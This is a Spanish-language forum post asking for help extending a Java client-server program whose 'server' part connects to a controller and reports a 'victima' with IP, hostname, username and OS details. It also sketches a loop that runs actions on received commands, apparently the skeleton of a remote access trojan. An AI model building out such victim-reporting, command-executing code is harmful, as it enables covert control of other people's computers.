Ver Mensaje Individual
  #1 (permalink)  
Antiguo 23/11/2014, 18:08
xivan29
 
Fecha de Ingreso: noviembre-2014
Ubicación: altea
Mensajes: 14
Antigüedad: 9 años, 5 meses
Puntos: 0
Pregunta Server Remoto Consejos

Hola a todos,estoy intentando modificar un server de una aplicación cliente servidor en java,el código del server es el siguiente:

Código:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
 

interface config{
   public static final int    port       = 8086;
   public static final String host    = "localhost";
}
public class server extends Thread{
   private Socket socket  = null;
   private boolean active = true;
    
   private PrintWriter    printWriter = null;
   private BufferedReader reader      = null;
   @Override
   public synchronized void run(){
      while(active){
         try {
            if(reader.ready()){
             
            }
         } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
         }
         try {
            Thread.sleep(70);
         } catch (InterruptedException e) {
            e.printStackTrace();
         }
      }
   }
   private final void writer(String command){
      printWriter.println(command);
      printWriter.flush();
   }
   private final void sendInformation() {
      try {
         final InetAddress address = InetAddress.getLocalHost();
         this.writer("NEW");
            this.writer("victima" + "?" + address.getHostAddress() + "?"
               + address.getCanonicalHostName() + "?"
               + System.getProperty("user.name") + "?"
               + System.getProperty("os.name") + "?"
               + System.getProperty("os.version") + "?" + config.port);
      } catch (Exception e) {
         System.err.println(e);
      }
   }
   public server(){
   try {
      this.socket = new Socket(config.host,config.port);
      inOut();
      sendInformation();
   } catch (UnknownHostException e) {
      e.printStackTrace();
   } catch (IOException e) {
      e.printStackTrace();
       }   
   this.start();
   }
   private final void inOut() throws IOException{
      printWriter = new PrintWriter(socket.getOutputStream());
      reader = new BufferedReader(
                           new InputStreamReader(socket.getInputStream()));
   }
   /**
    * @param args
    */
   public static void main(String[] args) {
   new server();
   }
}
La cuestión es que quería cambiar la zona de public synchronized void run por:

Código:
public void run(){

   //debes saber que omito las capturas de errores

   //esta variable se usa para seguir la ejecución (done significa hecho) la inicializo false porque es natural decir que no esta listo

   boolean done = false;

   //esta variable se usa para almacenar la linea leida

   String line;

   //como no esta listo uso la negacion de done (!done)

   while(!done){

     //dentro del while aqui bucle while viene la magia (la magía como decia mi abuelo Q.E.P.D)

      line = in.readLine().trim(); //al igual que el servidor eco, pero borramos los espacios que pueda tener (adelante o atras)

      //vamos con la magia (redoble de tambores)

     if(line.equalsIgnoreCase("Comando1")){

         //eee lo logramos

         //accion 1

        out.write("Respuesta1");

      }else

      if(line.equalsIgnoreCase("Comando2")){

        //otro más

        //accion 2

         out.write("Respuesta2");

      }//..... y todos los que se te ocurra

     //ves facil aa se me le olvidava

    //aqui antes de salir del bloque while hacemos un flush de los datos

    out.flush();

  }

}
1- ¿Seria posible modificarlo asi?
2- Para mi seria mas fácil programarlo de la forma que quiero modificar porfavor denme sus opiniones,gracias.

3- ¿Cómo añado mas funciones de popup en este codigo?:
Código:
JPopupMenu popupMenu = new JPopupMenu();
         JMenuItem item = new JMenuItem("Funcion 1");
      
         

         
          popupMenu.add(item);
         table.setComponentPopupMenu(popupMenu);

Última edición por xivan29; 24/11/2014 a las 11:33